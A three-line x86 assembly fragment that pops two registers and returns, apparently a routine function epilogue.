pop ebx
pop ebp
ret